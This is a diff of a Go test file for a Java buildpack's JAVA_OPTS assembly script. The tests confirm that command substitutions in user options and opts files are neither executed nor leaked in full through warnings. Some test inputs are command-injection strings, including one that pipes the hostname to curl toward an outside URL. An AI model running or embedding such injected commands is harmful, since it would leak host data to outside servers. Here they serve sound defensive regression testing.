11package frameworks_test
22
33import (
4+ "bytes"
45 "os"
56 "os/exec"
67 "path/filepath"
@@ -101,13 +102,24 @@ var _ = Describe("Java Opts Writer", func() {
101102 // This sources the profile.d assembly script to build $JAVA_OPTS, then
102103 // tokenizes it with the real launcher, returning the argument list java
103104 // would receive (one arg per line).
105+ // Stderr is captured separately so that WARNING messages from the
106+ // assembly script do not pollute the JAVA_OPTS value passed to the
107+ // tokenizer (warnings are diagnostic, not part of the value).
104108 runStartCommand := func (javaOpts string , optsFileContent string ) (string , error ) {
105109 scriptPath := setupScript (javaOpts , optsFileContent )
106- assembled , err := runWithEnv (scriptPath , javaOpts , `printf '%s' "$JAVA_OPTS"` )
107- if err != nil {
108- return assembled , err
110+ cmd := exec .Command ("bash" , "-c" , "source " + scriptPath + ` && printf '%s' "$JAVA_OPTS"` )
111+ cmd .Env = append (os .Environ (),
112+ "JAVA_OPTS=" + javaOpts ,
113+ "DEPS_DIR=" + depsDir ,
114+ "HOME=/home/vcap/app" ,
115+ )
116+ var stdout , stderr bytes.Buffer
117+ cmd .Stdout = & stdout
118+ cmd .Stderr = & stderr
119+ if err := cmd .Run (); err != nil {
120+ return stderr .String () + stdout .String (), err
109121 }
110- tokens := javaexec .TokenizeJavaOpts (assembled )
122+ tokens := javaexec .TokenizeJavaOpts (stdout . String () )
111123 return strings .Join (tokens , "\n " ) + "\n " , nil
112124 }
113125
@@ -199,6 +211,25 @@ var _ = Describe("Java Opts Writer", func() {
199211 Expect (output ).To (ContainSubstring ("WARNING: unresolved command substitution" ))
200212 })
201213
214+ It ("warning for user JAVA_OPTS command substitution shows matching token, not full value" , func () {
215+ // Warning must identify the offending $(...) fragment without dumping
216+ // the entire JAVA_OPTS string (which may be long or contain secrets).
217+ // Use `true` as bashExpr so only the WARNING (stderr) appears in combined output.
218+ scriptPath := setupScript ("" , "$JAVA_OPTS" )
219+ output , err := runWithEnv (scriptPath ,
220+ `-Dsafe=before $( hostname | wc -l ) -Dsafe=after` ,
221+ `true` ,
222+ )
223+ Expect (err ).NotTo (HaveOccurred (), "script failed with output: %s" , output )
224+ Expect (output ).To (ContainSubstring ("WARNING" ))
225+ // Warning shows the $(...) fragment
226+ Expect (output ).To (ContainSubstring ("$(" ))
227+ Expect (output ).To (ContainSubstring ("hostname" ))
228+ // Warning must NOT dump the full JAVA_OPTS value
229+ Expect (output ).NotTo (ContainSubstring ("-Dsafe=before" ))
230+ Expect (output ).NotTo (ContainSubstring ("-Dsafe=after" ))
231+ })
232+
202233 It ("does not execute command substitutions embedded in opts file content" , func () {
203234 marker := filepath .Join (cacheDir , "pwned_marker" )
204235 Expect (os .Remove (marker )).To (Or (Succeed (), MatchError (os .ErrNotExist )))
@@ -382,6 +413,30 @@ var _ = Describe("Java Opts Writer", func() {
382413 Expect (lines [2 ]).To (Equal ("-Dc=a>b" ))
383414 })
384415
416+ It ("handles full manifest JAVA_OPTS with all edge cases (issue #1301)" , func () {
417+ // Reproduces the exact manifest scenario reported by users:
418+ // JAVA_OPTS: >-
419+ // -Dfoo="bar baz"
420+ // -DcronSched="0 */7 * * * *"
421+ // -Dbar=$HOME
422+ // -Dwhere=$( hostname | tr '\n' | curl -v 'https://testasdkjfhakl.me')
423+ // -Dmyfile=c:\\first\\second\\file.txt;ext
424+ // YAML >- folds newlines to spaces, delivering this as one line.
425+ javaOpts := `-Dfoo="bar baz" -DcronSched="0 */7 * * * *" -Dbar=$HOME -Dwhere=$( hostname | tr '\n' | curl -v 'https://testasdkjfhakl.me') -Dmyfile=c:\\first\\second\\file.txt;ext`
426+ output , err := runStartCommand (javaOpts , "$JAVA_OPTS" )
427+ Expect (err ).NotTo (HaveOccurred (), "script failed with output: %s" , output )
428+ lines := strings .Split (strings .TrimSpace (output ), "\n " )
429+ Expect (lines ).To (HaveLen (5 ))
430+ Expect (lines [0 ]).To (Equal ("-Dfoo=bar baz" ))
431+ Expect (lines [1 ]).To (Equal ("-DcronSched=0 */7 * * * *" ))
432+ Expect (lines [2 ]).To (Equal ("-Dbar=/home/vcap/app" )) // $HOME expanded by profile.d
433+ // $( hostname | ...) passes literally as one arg — not executed, not split
434+ Expect (lines [3 ]).To (ContainSubstring ("-Dwhere=$(" ))
435+ Expect (lines [3 ]).To (ContainSubstring ("hostname" ))
436+ // \\ → \ by javaexec; ; is literal
437+ Expect (lines [4 ]).To (Equal (`-Dmyfile=c:\first\second\file.txt;ext` ))
438+ })
439+
385440 // Regression test: eval mangles .opts content containing literal double quotes.
386441 // e.g. Datadog writes -Ddd.service="myapp" into its .opts file; the inner "
387442 // terminates the outer eval "..." string, stripping the value.
@@ -396,5 +451,37 @@ var _ = Describe("Java Opts Writer", func() {
396451 Expect (err ).NotTo (HaveOccurred (), "script failed with output: %s" , output )
397452 Expect (output ).To (ContainSubstring (`-Dpattern=foo\|bar` ))
398453 })
454+
455+ // Expanded variable values with spaces: same POSIX rules as old eval.
456+ // Unquoted $VAR whose value contains spaces → split (javaexec treats spaces as
457+ // word separators). Double-quoted "$VAR" → one token. Quote your references.
458+ It ("splits unquoted expanded $VAR with spaces into separate tokens (POSIX word-split)" , func () {
459+ os .Setenv ("MY_SPACED_VAR" , "hello world" )
460+ defer os .Unsetenv ("MY_SPACED_VAR" )
461+ output , err := runStartCommand (`-Dfoo=$MY_SPACED_VAR` , "$JAVA_OPTS" )
462+ Expect (err ).NotTo (HaveOccurred (), "script failed with output: %s" , output )
463+ lines := strings .Split (strings .TrimSpace (output ), "\n " )
464+ // Unquoted: space splits into two JVM arguments, same as old eval.
465+ Expect (lines ).To (HaveLen (2 ))
466+ Expect (lines [0 ]).To (Equal ("-Dfoo=hello" ))
467+ Expect (lines [1 ]).To (Equal ("world" ))
468+ })
469+
470+ It (`keeps double-quoted "$VAR" with spaces as one JVM argument` , func () {
471+ os .Setenv ("MY_SPACED_VAR" , "hello world" )
472+ defer os .Unsetenv ("MY_SPACED_VAR" )
473+ output , err := runStartCommand (`-Dfoo="$MY_SPACED_VAR"` , "$JAVA_OPTS" )
474+ Expect (err ).NotTo (HaveOccurred (), "script failed with output: %s" , output )
475+ // Double-quoted: javaexec treats the quoted region as one token.
476+ Expect (strings .TrimSpace (output )).To (Equal ("-Dfoo=hello world" ))
477+ })
478+
479+ It (`keeps double-quoted "$VAR" with spaces in .opts content as one JVM argument` , func () {
480+ os .Setenv ("MY_SPACED_VAR" , "hello world" )
481+ defer os .Unsetenv ("MY_SPACED_VAR" )
482+ output , err := runStartCommand ("" , `-Dfoo="$MY_SPACED_VAR"` )
483+ Expect (err ).NotTo (HaveOccurred (), "script failed with output: %s" , output )
484+ Expect (strings .TrimSpace (output )).To (Equal ("-Dfoo=hello world" ))
485+ })
399486 })
400487})
0 commit comments